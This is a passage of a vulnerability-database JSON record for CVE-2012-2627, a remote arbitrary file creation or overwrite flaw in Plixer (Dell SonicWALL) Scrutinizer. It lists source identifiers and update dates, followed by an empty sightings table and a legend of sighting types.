"id": "CNNVD-201207-593"
},
{
"date": "2012-07-31T10:45:41.450000",
"db": "NVD",
"id": "CVE-2012-2627"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2018-03-12T00:00:00",
"db": "VULHUB",
"id": "VHN-55908"
},
{
"date": "2012-07-30T00:00:00",
"db": "BID",
"id": "54726"
},
{
"date": "2012-08-01T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2012-003434"
},
{
"date": "2012-08-01T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201207-593"
},
{
"date": "2024-11-21T01:39:19.200000",
"db": "NVD",
"id": "CVE-2012-2627"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "PACKETSTORM",
"id": "115091"
},
{
"db": "CNNVD",
"id": "CNNVD-201207-593"
}
],
"trust": 0.7
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Plixer Scrutinizer (Dell SonicWALL Scrutinizer) Vulnerable to creating or overwriting arbitrary files",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2012-003434"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "other",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201207-593"
}
],
"trust": 0.6
}
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.